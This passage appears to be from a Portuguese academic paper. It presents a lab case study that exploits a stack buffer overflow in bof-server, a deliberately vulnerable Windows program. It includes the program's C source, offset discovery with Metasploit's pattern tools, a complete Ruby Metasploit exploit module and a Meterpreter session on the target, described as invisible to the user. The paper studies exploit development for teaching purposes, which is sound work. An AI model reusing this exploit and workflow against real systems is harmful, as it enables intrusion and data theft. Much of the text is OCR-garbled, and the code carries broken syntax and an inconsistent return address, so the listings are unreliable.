aoAFeCa|| -« B3EC 70 SUB ESF, 7C A s
= | e e :
. + I3
eORFeDs|[ - Coda2d 73 ool ol BYTE PTR sS: (F+r51,5 0.8, {LassErcmaunam MOD_HOT_FOUND k
a0AFa0B|| . cence4 ocaaal 1y Eep, DurD PTA: (E3Riac] EFL @Bpaaz4c (M0, NE,E, gl FE,GE, LE) =
GOAFGEZ(| « 6042 04 LEA EA, [ B i o ;
TS| (= i [loon P Ss: Esh7e0, £ enpey o, podse—d
GOAFGEE|| - BFBE4A @2 |MOUZE ECX,BYTE PTR DS: [EDN+2] 2iempry TR R ey
aoAFeFz(| -« sacs 0U EBX, EAR R L S s
oOAFoFa|| «  DIEZ SHL EBW,CL 2 ooty C2°SchEenn. e e
aoAFeFe(| -+ 2309 HOW ECK, EBX Rt Y L
]| ] DEC ECH A
Rl e e T
: TeELE
' E FST 4828 Cond 1 Err 188888 E)
| Bl palie e Fow dooF Frea teross mao S 199998
oOAF164|| © 534424 ez Ui DWORD PTR 553 [ESP+621, EAY _|Last onnd Gaie:as4bidn
BDAF108|| - BBs4z4 Aeoee|HDU AR DUDRB BTe Sa; EESP+BF!8] 5 5
GOAF16F || -+ BFEE32 Dz | ESI BYTE FTR 0S:TEDX —an A Soea oea BEGoR:
a0AF112)| - C74s Ga oepel MU WORD'PTR S5: [EEF] A - [ e B2426E00 BBiconet Eavi-boe
4 E47E7B05 BFSOAD3S AZ4SEEDD @ERBI0AD 7
. EIDCCESH G1aboonn BFeohons h2datnod
& SR47CSF BR10OOGE E47E7BO0
cverest. <Hody LeEntruPo int 462 2 4eEnsh CrrDEGD basanDRs ge5e5270 -
MR 7051 777 | whu T RETURN o ernelsz, realnarr
Addde=z= [Hes dan BIDFFFCE G<z] [RETURN from ntdll.7C38FER? to ntdll.7C313095
1 £ o 58| B2 5 B8(ES BL FULEELE) -Hra
15|55 @ 68| ES @ 28| 65 0 68 33 63
26| 66 o 66| 75 o 26| on 6 66 FS 60
46| BC o @B/ 5 @ 56| BF o @8BS 22 E
o aolE e R e End of SEH chain
Lol L i an s aaan 610FFFES SE handl
B10FFFES| 70517
30| 54 o o 28| 65 0 6E| pIDEREES
o o C g 00 20 B10FFFFE
K 2 e £ B10FFFF4 _
C 2] ) 2] 2 E B10FFFFE DAF! everest leEntruPoint >
B10FFFFC
o 1 80 B0
£ 54 A 4 o o6 6o
Fo o ¢ o R
&l 5] al i} A ¥
1 5 B o ¢
2 o 1 &8 g o
3 4 2R 4 5 66| 68 o
it o ¢ c 33| ga o
5 6 6 G| 26 A 4
& o o 68| 5a ] r
7 o 1 @@ 88 o
30|54 D7 2A 4 @ 68| 60 o =
it 80 6o e £ 34 o0 o 3
A 80 B3 66| A o 56|33 02 2A 4
Entry paint of main module ‘Paused

Figura 2.5: Interface do aplicativo OllyDbg.

O aplicativo apresenta uma interface composta por poucos botdes, todavia o
botdo direito do mouse fornece um menu com grande parte das funcdes existentes. As
principais regides do programa foram enumeradas para facilitar o entendimento de suas

funcodes (Figura 2.5).

Regido 1: E a tela principal do programa, onde é apresentado o disassembly

do aplicativo (divida em quatro colunas).
* Address (coluna 1) : mostra o endereco virtual das instrucoes.

* Hex Dump (coluna 2) : cédigo da instrugdo no seu formato hexadecimal.



* Disassembly (coluna 3) : interpretacdo e traducdo para a linguagem

assembly das instrugcoes presentes na segunda coluna.
* Comments (coluna 4) : é utilizada apenas para comentdrios e informacoes.

Regido 2: Esta area mostra todos os registradores e flags. Sendo atualizada

a cada instrugdo, mostra o estado atual dos itens presentes.

Regiao 3: Regido destinada a exibir a memoria fisica (RAM) do aplicativo

(dividida em trés colunas) :
* Address (coluna 1) : enderecos virtuais de memoria.
* Hex Dump (coluna 2) : contem o valor de cada byte da memoria.

* ASCII (coluna 3) : utilizada para exibir de formas diferentes os valores

contidos na memoria.

Regido 4: Mostra o estado atual da pilha, que é amplamente utilizada

durante as chamadas de funcao (dividida em trés colunas) :
* Address (coluna 1) : cumpre o mesmo papel das outras colunas de endereco.
* Value (coluna 2) : valor armazenado no endereco da pilha.

e Comment (coluna 3) : utilizado apenas para comentarios.



3 ESTUDO DE CASO

Esse estudo de caso ira utilizar as técnicas contidas em Writing exploits for

Metasploit 3.0 (http://redstack.net) para conceber um codigo capaz de efetuar uma

conexao nao autorizada entre dois computadores.

Utilizando-se de uma vulnerabilidade conhecida como Stack Overflow, o
cédigo desenvolvido em Ruby sobrescreve o registrador EIP alterando o fluxo do
programa para o endereco de memoria onde se encontra o payload, que por sua vez ira

estabelecer a conexdo entre os computadores.

Como dito anteriormente, o Bof-server foi desenvolvido para ser explorado
ao decorrer desse estudo, contendo uma falha de programacdo proposital, no entanto

falhas desse tipo sdo comumente encontras em programas comerciais.


http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html
http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html
http://redstack.net/

4 Metodologia

Em um laboratério montado para ilustrar as técnicas de intrusdo desse

trabalho foram utilizados:

* 1 desktop com processador athlon 64 X2 tendo o Windows XP SP0O

como seu sistema operacional.

* 1 notebook com processador athlon 64 X2 tendo o Linux BackTrack 4

como seu sistema operacional.

* 1 roteador D-link dir 500 responsavel pela conexdo entre os

computadores.

O BackTrack 4 foi escolhido para este laboratorio por ser uma distribuicao
Linux voltada a testes de intrusdo, tendo o MSF instalado por padrdo. Um programa
desenvolvido especialmente para ser vulneravel a ataques de bufferoverflow sera
instalado no computador alvo, esse programa, chamado bof-server (PELAGALLLI,
2008) foi desenvolvido para ser utilizado em plataformas Windows. O préximo

paragrafo apresenta em detalhes o codigo fonte deste programa.
/ *
** pof-server.c for bof-server

* %

** Made by Raffaello Pelagalli

* %

** Started on Mon Jan 21 14:13:07 2008 Raffaello Pelagalli

** Last update Wed Jan 23 00:08:18 2008 Raffaello Pelagalli

** This library is free software; you can redistribute it and/or



*/

modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either

version 2.1 of the License, or (at your option) any later version.

This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU

Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA

02111-1307 USA

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <winsock.h>

#define BACKLOG 5

#define VERSION_STR "bof-server v0.01"



void

usage(char * name)

printf("usage: %s <port>\n", name);

exit (-1);

void

bserv_error(char *s, int n, char *msg)

fprintf(stderr, "%s at line %i: %s, %s\n",

strerror(errno));

exit(-1);
}
int getl(int fd, char *s)
{
int n;
int ret;
s[0] = o,
for (n = 0; (ret = recv(fd, s +n, 1, 0)) == 1 &&
s[n] && s[n] != '\n'; n++)
if (ret == -1 || ret == 0)

return (-1);

while (n && (s[n] == '\n' || s[n] == '\r' || s[n] =="

{

S,

"))

n,

msg,



return (n);

void manage_client(int s)

char buffer[512];

int cont = 1;

while (cont)
{
send(s, "\r\n> ", 4, 0);
if (getl(s, buffer) == -1)
return ;
if (!strcmp(buffer, "version"))
send(s, VERSION_STR, strlen(VERSION_STR), 0);

if (!strcmp(buffer, "quit"))

cont = 0;
}
}
int main(int ac, char **av)
{

int P



int S;

int i;

int pid;

int cli_s;
struct sockaddr_in sin;
struct sockaddr_in cli_sin;

if (ac !'= 2 || atoi(av[1]) > 65555)
usage(av[0]);

p = atoi(av[1]);

WSADATA wsaData;

if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
fprintf(stderr, "WSAStartup failed.\n");

exit(1);

if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1)
bserv_error(__FILE__, __ LINE__, "socket");

sin.sin_family = AF_INET;

sin.sin_port = htons(p);

sin.sin_addr.s_addr = INADDR_ANY;

if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) == -1)

bserv_error(__FILE_ , _ LINE__, "Can't bind");

if (listen(s, 42) == -1)



bserv_error(__FILE__, _ LINE__, "Can't listen");
i = sizeof(cli_sin);

while ((cli_s = accept(s, (struct sockaddr*)&cli_sin, &i)) !'= -1)

printf("[%i] %s connected\n", cli_s,

inet_ntoa(cli_sin.sin_addr));
manage_client(cli_s);

printf("[%i] %S disconnected\n", cli_s,

inet_ntoa(cli_sin.sin_addr));

closesocket(cli_s);

perror("accept");
closesocket(s);

return (0);

Para iniciar o programa deve-se utilizar a seguinte sintaxe:

> Bof-server.exe (porta)

O bof-server é um programa extremamente simples com apenas dois
comandos, version e quit. Digitando version a versao do programa ¢ exibida, o comando

quit fecha o aplicativo.
> telnet localhost 4242
> version
bof-server v0.01
> quit
O aplicativo permite a execucdo remota de codigo devido a um stack

overflow introduzido pela funcao getl(int fd, char * s). Conforme a figura 3.1 quando

um conjunto extenso de caracteres é introduzido, o aplicativo para de responder.



Session Edit ‘View Bookmarks Settings Help
:~% nc 192.168.0.102 4242 =

= version
bof-server v0.01
> aaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaanaaaaaaaaaaaaanaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaadaaaadaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaadaaaadaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaadaaaadaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaadaaaaaaaaadaaaaaaaaaaadaaaadaaaaaaaaadaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

i~$% nc 192.168.0.102 4242
(UNKNOWN) [192.168.0.102] 4242 (?) : Connection refused

~$ i

Figura 3.1: Vulnerabilidade no programa bof-server.

O erro gerado pelo programa sera essencial para o desenvolvimento do
exploit, no entanto sem um depurador de codigo ndao se pode determinar certas

informacg0Oes que sdo essenciais na confeccdo deste exploit.

Realizando o mesmo procedimento acima citado, jd com o depurador de
cédigo anexado, conclui-se por informacdes contidas no rodapé do debugger que ouve
uma violacdo de acesso quando o bof-server executou o conjunto de caracteres enviados
(figura 3.2). Nesse caso o conjunto de numeros “61” informado pelo depurador diz
respeito a representacao do caractere “a” derivado do Cédigo Padrdo Americano para o

Intercambio de Informacao (ASCII).



OllyDbg - bof-server.exe - [CPU - main thread]

@File Wiews Debug Plugins Options Window Help L .
Bl x| »n] w4 $Ju A =+ L[E[M[T[wH[c|[7[K[B[R][..[s] =[=]?]
# | Registers (FPUI < < < < < <

— |ERX FFFFFFFF
ECH BEAAZTIE
~ |EDx @oapagar

EEX FFFFFFFF
ESF BBZZFO7E
EEF &l616161
EST AEAREEHE
EDI B@1453ES

EIF 61616161

ASCII ™

5% @EEE HULL

© ES @823 3Zbit @ 1
F C5 @BlE 3zbit 81 1
A S5 BE23 3Zbit B[ FFF1

2 05 @823 32bit 80 FFFF1
? FS 8838 22bit FFFOE@@A0FFF)
o]

o

LaztErr WSAEMOTSOCK (Q@EEZ7TIE)
EFL @@ai@24& (MO,ME,E,BE.MS,FE,GE,LE]

5TA empty +UMORM 8944 BR1ZFZZS 0A0EEE08
ST1 emptyw —77?7 FFFF FPPFFEE2E FrFES24@2
STZ empty +UMORM 1165 FPFE12BE FPFSZEEF
5T2 empty B.8

5T4 empty B.0

STS empty B.8

STE empty B.8

ST7 empty 6.8

FST @@@@ Cond @ 8 6 @ Err
FCW @27FF Prec MERR,&4 HMask

Address |Hen dump ASCIT VN R . V.
CEE4EZARC| @1 B BE B8 AC 1A 48 886 — v ggé?rg HgEg%D_I_D.?IRSI2?3 b
BE B0 B0 B8 . = S00E4

4 FE FE FF FF
4 a a

1T
&4
£

B8 B8 88 BA

b FEAG b

Access violation when executing [61616161] - uge Shift+F7/F8/F3 to pass exception to program | | Pauzed

Figura 3.2: Andlise do programa utilizando o OllyDbg.

Como descrito anteriormente, o programa deixa de responder quando um
grande nimero de caracteres € enviado ao servidor, para determinar com maior exatidao
a quantidade de bytes necessarios para que isso aconteca o MSF traz uma interessante

ferramenta composta por dois scripts: pattern_create.rb e pattern_offset.rb.

A funcdo pattern_create.rb gera uma string unica que quando enviada,
retorna o endereco do registrador EIP, por sua vez a funcdo pattern_offset.rb utiliza esta
informacao para determinar quantos bytes serdo necessarios para chegar ao endereco do

registrador EIP.



Session Edit View Bookmarks Settings Help

t/pentest/exploits/framework3/tools$ ./pattern _create.rb 2048 =
AabAalAa2Aa3AadAabAabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5SAb6Ab7ADEADIACOACIAC2Ac3Ac4Ac5AC6ACTACBAC
9AdOAd1Ad2Ad3Ad4Ad5Ad6AdTAdBAdIAeDAe1Ae2Ae3Aedhe5Ae6AeTAeBAOATOATIAT2ATIATAATEAT6ATTATEA
f9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AhOAh1Ah2AR3Ah4AR5Ah6Ah7ARBANOA10AI1A1I2A13A14A15A16A17A18
Ai9AjOAj1AT2Aj3Aj4A 5A76A7AjBA 9AkOAk1Ak2Ak3Ak4AK5Ak6AKkTAKBAKIATOATIAT2AT3AT4AT5A16A17A
SAT9AMOAMIAMZAm3Am4AnSAM6AM7AmSAM9ANOAN1AN2AN3AN4ANSAN6ANTANBAN9A00A01A02A03A04A05A06A07
08A09ApOAp 1Ap2Ap3Ap4Ap5Ap6ApTApP8AP9AqOAqIAq2Aq3Aq4Aq5Aq6AqTAqBAqIArOArIATr2Ar3ArdArSAr6Ar
Ar8Ar9As0As1AS2AS3AS4ASEAS6ASTASBASIATOATIAL2AL3At4AL5AL6ALTALBAt9AUOAUTAUZAU3AULAUSAUGA
TAUBAUIAVOAVIAV2AVIAVAAVSAVEAVTAVBAVIAWOAWIAWZ AW3 AWAAWSAWEAWTAWB AWIAXDAXTAX2AX3Ax4AX5AX6
X7Ax8AXx9AyOAY1Ay2Ay3Ay4AySAy6AyTAYBAY9AZOAZ1AZ2AZ3AZz4AZ5Az6A2T7Az8AZz9Ba0BalBa2Ba3Ba4BabBa
Ba7Ba8Ba9Bb®Bb1Bb2Bb3Bb4Bh5Bb6Bb7Bb8Bh9BcOBc 1Bc2Bc 3Bc4Bc 5Bc 6Bc 7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5B
6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0BT1B12Bf3B14B 58 f6BT7B18BT9Bg0Bg1By2Bg3Bg4Bg5
g6Bg7Bg8Bg9BhoBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bil1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj
Bj6Bj7Bj88j9Bk0Bk 1Bk 2Bk 3Bk 4Bk 5Bk 6Bk 7Bk 8Bk 9B10B11812B13B14B15816B17818819Bm@Bm1Bm2Bm3Bm4B
5Bm6Bm7Bm8Bm9BnOBn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8B0o9BpOBp1Bp2Bp3Bp4
p5Bp6Bp7Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BreBriBr2Br3Br4Br58BreBr7BréBroBs0Bs1Bs2Bs3Bs
Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6B17B 8B t9Bu@BulBu2Bu3Bu4Bu5Bu6Bu7B8u8Bu9BvOBv1Bv2Bv3B
4Bv5Bv6Bv7Bv8Bv9BwOBw1Bw2Bw3Bw4Bw5Bw6BwW7/BwEBWIBXx0BXx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3
y4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5B26B27B28Bz9CafCalCa2Ca3Ca4Ca5CabCa7Ca8Ca9ChOCh1Ch2Ch
Cb4Cb5Ch6Ch7Ch8ChICcOCCc1Cc2Cec3Cc4Cc5CcH6Cc7CcB8CcICdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9CedCelCe2C
3CedCe5CebCe7CeBCe9CFOCTICF2C3CFACT5CTECTTCTBCTOCYOCY1CY2Cg3Cg4Cy5Cg6Cg7Cg8Cy9ChoCh1Ch2
h3Ch4Ch5Ch6Ch7Ch8Ch9Ci0CilCi2Ci3Ci4Ci5CihCi7CiBCI9CiNC{1Cj2C{3Cj4Cj5Cj6Cj7CiBCjICkOCKkICK
Ck3CkaCk5Ck6Ck7Ck8Ck9C1OCTICT2CT3CL4C15C16C1L7C18CT19CMOCH1CM2Cm3CmACm5CM6CM7CmBCMICNOCN1C
2Cn3CNn4Cn5CN6CN7CN8CN9Co0Co1C02C03C04C0o5C06C0o07C0o08C09CPACH1CP2CP3Cp4Cp5CP6CPTCPBCPICDCql

q

1 /pentest/exploits/framework3/tools$ ./pattern offset.rb 72413372
520
i /pentest/exploits/framework3/tools$ ]

Figura 3.3: String tinica gerada pela fungdo pattern_create.rb.

Observa-se na figura 3.3 que a funcdo pattern_offset.rb retorna o niimero
520, entdo serdo necessarios 520 + 4 bytes para sobrescrever o registrador EIP fazendo

com que o programa pare de responder.

Outra informagdo necessaria ao desenvolvimento do exploit é o endereco
onde se inicia o overflow na pilha, conforme a figura 3.4 o primeiro endereco totalmente
sobrescrito pelo conjunto de caracteres é o “0x22FB68”, posteriormente este endereco

sera usado como ponto de partida para o payload.



Registers (FPU) < < < < < < < < < < < < < <
EHy, FFFFFFFF
ECH BBA0273IE
ED: EEEEEEET
EEX FFFFFFFF
ESF @E2zFD7E ASCII
EEF &lal6l6l
ESI EERGEEDEE
EDI &3144R58

EIF elelelel

B ES BB22 32bit BIFFFFFFFF)
CZ BalE 22bit BIFFFFFFFF)

B 55 8023 32bit BIFFFFFFFF)

1 D5 8823 32bit BIFFFFFFFE)

@ FS @E22 22bit YFFOESEE(FFF)

g G5 BEEE HULL

a

LastErs WSAEMOTSOCK [B@RE2736)
EFL e@@iez24¢ (MO,ME.E,BE.MS,PE.GE,LE]

STA erpty +UNMORM BE44 GG12F228 @@144A58
ST1 empty —7¥7Y FFFF FPrEVEEZA FrEE248z
ST2 erpty +UNORM 1165 FFFELREE FFFEI7CO
ST2 empty 8.8
ST4 erpty 8.8
ETE empty 9.0
STE empty H.H
STV erpty 8.8

2218 ESFUDEZ
FS5T B6G8 Cond @ @ 6@ Err @ 6 @ 8 6 @
FClWl BS7F  Prec MEAR.&4 Mask 1111

(GT)

-
[

HE2ZFEZC| BE4E3EEI| HSCIT "AEr "
BEZ22FEZA BBBBBBEB

>

=
=
2
]
o
m
o
o
=
=
2
Jus]
o
(=)
=3}
o
el

SCII
BEZ22FEIC 884814E? bof-serw. BE4E14E4

E
BA2ZFE4d | BEZEFEGG
EEZZFE4S| BEREEDE4
BEZZFE4C|  SEE0EHE0
BAZZFEEH| BEAGE 162
EEZ2ZFESY | BEEEEEES
BEZ22FESS| TIAS12¥3|wshtopip. F1AS1273
BEZZFESC BBZ2FC:3 SCIT ™

)

BAz22FEEC| elélelel
BEZZFETE| 6l6ilclel
BEZ22FETY| elelelel
BEZZFETS| £1816161
BEZZFETC| 6l6lcled
BEZZFESE| 6l6lclel
aEz22FESd | clelelel

BEZZFETS| 6l6lclel
BEZ22FEAC| eleleled —
BEZZFEAG| elelelel
BA22FEA4| 6l61616d
EEZZFEAS| 6l6lclel
BEZ22FEAC| 6161

BEZZFEED| S181616]
HE22FEERY) 6161

Figura 3.4: Primeiro endereco totalmente sobrescrito.

De posse das informagoes tratadas anteriormente, pode-se entdo iniciar a
confeccao do exploit, o MSF possui um diretério especifico situando em
/home/usudrio/.msf3 onde os cédigos escritos pelo usudrio devem ser armazenados, o
principal objetivo dessa pratica é evitar a perda de dados resultante das constantes
atualizacoes do framework. O paragrafo seguinte mostra o cédigo fonte do exploit

escrito em Ruby:

require 'msf/core’
module Msf
# class name should reflect directories
class Metasploit < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp

# exploit relative informations
def initialize(info = {})
super (update_info(info,

"Name' => 'bof-server exploit',
'Description' => 'This is an exploit for
bof-server v0.01',
"Author' => 'xipe', # You ;)
'Version' = '1.0',
'Payload’ =>

{



'Space'’ => 500, # Space that payload can
use.
# We found that we needed
520 bytes to make the
# bof-server crash, but
we will only use 500, as
# the end of this space
can be modified by the target
# before returning.
'StackAdjustment' => -3500, # Modify stack
pointer at shellcode start
# so it can use
the stack without writing
# on itself.
'BadChars' => "\Xx00\x20\xOD\X0A", # Chars
that payloads should not

#
contains.
}
'Platform’ => 'win',
'Targets' =>
[ 'Windows XP SPO',
'Platform' =>'win',
'Ret' => Ox22fb65 # Return address.
}
1,
1,
'DefaultTarget' => 0))
end
def check

# Here we should check if the target is vulnerable
# This function should not crash the target
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode: :Vulnerable
end
return Exploit::CheckCode: :Safe
end

def exploit
# Here we should exploit the target
connect
buf = payload.encoded # Size of the payload is defined by
Payload.Space in exploit infos.
buf << make_nops(20) # Some more bytes, as we defined the
payload to be 500 bytes long
buf << [target.ret].pack('V') # Return address
sock.put(buf) # send data
sock.get
handler # pass the connection to the payload handler
disconnect
end

end



Esse cdédigo deve ser nomeado como “Bof-Serverl.rb” e colocado em
“/home/usudrio/.msf3/modules/exploits/windows/dummy”, os diretérios ndo existentes
deverdo ser criados de acordo com o caminho acima. Com o termino do

desenvolvimento, pode-se enfim iniciar a interface msfgui (figura 3.5).

Metasploit Framework GUI v3, 3-dev - O x

System Window Help ‘

|bof—server & cancel ’afind‘ Jobs
‘ ‘ Job ID ‘Module ‘
b
- & Exploits All loaded exploit modules (385) dJobs

~ B windows
< B dummy

% BofServerl bof-server exploit

3 Auxiliary All loaded auxiliary modules (160)
Module Information |Module Qutput Sessions
Module: exploit/windows/dummy/BofServerl ‘Target ‘TYPE

This is an exploit for bof-server v0.01. This exploit module was
written by unknown (xipe)

[Loaded 385 exploits, 231 payloads, 20 encoders, 7 nops, and 160 auxiliary

Figura 3.5: Interface msfgui.

Para que o exploit seja lancado deve-se primeiramente clicar duas vezes
com o botdo esquerdo em BofServerl (figura 3.5), uma tela se abrira pedindo algumas
informagdes como versdao do sistema operacional que se deseja atacar, payload que
devera ser usado, endereco IP do alvo entre outras.O Meterpreter payload sera usado

nesse exemplo.



System 192.168.0.102: 4444 - O X

bof-server { wmicrosoft Windows XP [vers/Eo 5.1.2600] wcel| “ Find| Jobs
(C) Copyright 1985-2001 Microsoft Corp. :’ Joh ID Module
Il JObs

~ 4 Exploif] C:\Documents and Settings\julio\Desktop>ipconfig
= & wind| ipconfig

- Bdu

q Configuracao de IP do Windows _
4 Auxilial

Adaptador Ethernet Conexao local:

[ [721

Module Infi f fico d A Sessions
041146 - Sufixo DNS especifico de conexao . : Target Type

04:12:48 -
04:12:50 -
04:12:50 -
04:12:52 -
04:12:55 -
04:14:23 -
04:15:29 - erverl...

04:15:30 - . . -
041531 - C:\Documents and Settings\julio\Desktop>

04:15:32 -
04:15:34 - ¥ Close

[ | 2+
[Loaded 385 exploits, 231 payloads, 20 encoders, 7 nops, and 160 auxiliary

EnderecoIP............:192.168.0.102 erverl... 2 192.168.0.102:4444 meterpreter

Mascara de sub-rede .. ...... :255.255.255.0 [sized stage

Gateway padréo. .. ........:192.168.0.1

-sized stage

Figura 3.6: Sessdo estabelecida.

Apobs o preenchimento das informacGes necessarias uma sessdo é aberta,
indicando que houve éxito na exploracdo da falha (figura 3.6). Pode-se agora utilizar
todas as fungdes do Meterpreter como copiar e excluir arquivos, obter senhas de
usudrios, efetuar o upload de executaveis, entre outras, para se aproveitar do sistema
invadido, ressaltando que nenhum processo referente ao Metasploit sera exibido no

gerenciador de tarefas do Windows, tornando o ataque imperceptivel ao usudrio.



5 Conclusdo e Trabalhos futuros

Com a crescente evolucdo do mercado brasileiro de software questdes até
entdo ignoradas ou muitas vezes abordadas de maneira erronea, como a seguranca de
software, devem ser levadas em consideracao e discutidas sem discriminacdo. Tratando-
se de um segmento muito competitivo, desenvolvedores correm contra o tempo para
atender as necessidades do mercado e muitas vezes concluem produtos de maneira

precoce.

Sem que os testes relativos a seguranca da informagdo sejam aplicados, ndo
se pode determinar o comportamento de um produto diante de ataques realizados por

individuos mal intencionados.

O Metasploit, de fato, agiliza o processo de desenvolvimento de exploits,
possibilitando a reutilizagcdo de grandes trechos de codigo e diminuindo o tempo gasto
nos testes de seguranga, grande parte da sua agilidade é provida pela arquitetura
modular ao qual o framework foi desenvolvido e também pela eficiente separacdo de

exploits e payloads.

Conhecer a linguagem Assembly assim como seus registradores e conjuntos
de instrucoes se faz necessario para o desenvolvimento de exploits, sem esse

conhecimento prévio os dados retirados do depurador de c6digo ndo teriam serventia.

Apesar de conhecida e muito grave a vulnerabilidade de buffer overflow
ainda é encontrada em grande parte dos softwares comerciais, por ser uma falha
originada exclusivamente pelo codificador, ndo se pode determinar quanto tempo levara

até que ela esteja defasada.

Mesmo contendo uma falha proposital, o programa Bof-server exemplifica
de modo analogo as etapas necessarias ao desenvolvimento de codigos que visam a
exploracdo do sistema, por tanto, independentemente aplicativos que contem esta falha

serdo explorados de maneira semelhante ao exemplo contido nesse projeto.

Os estudos direcionados a exploracao de softwares comerciais e a aplicacao
de novos métodos de exploracdao exemplificam futuras propostas de trabalho, assim
como o desenvolvimento de plugins no framework relacionados a automatizacao de um

sistema de testes, podem vir a ser publicacdes futuras.



Outra proposta seria o desenvolvimento de um scanner de vulnerabilidades
que identificasse e atacasse alvos predeterminados, podendo assim utilizar o MSF como

suporte a pratica.
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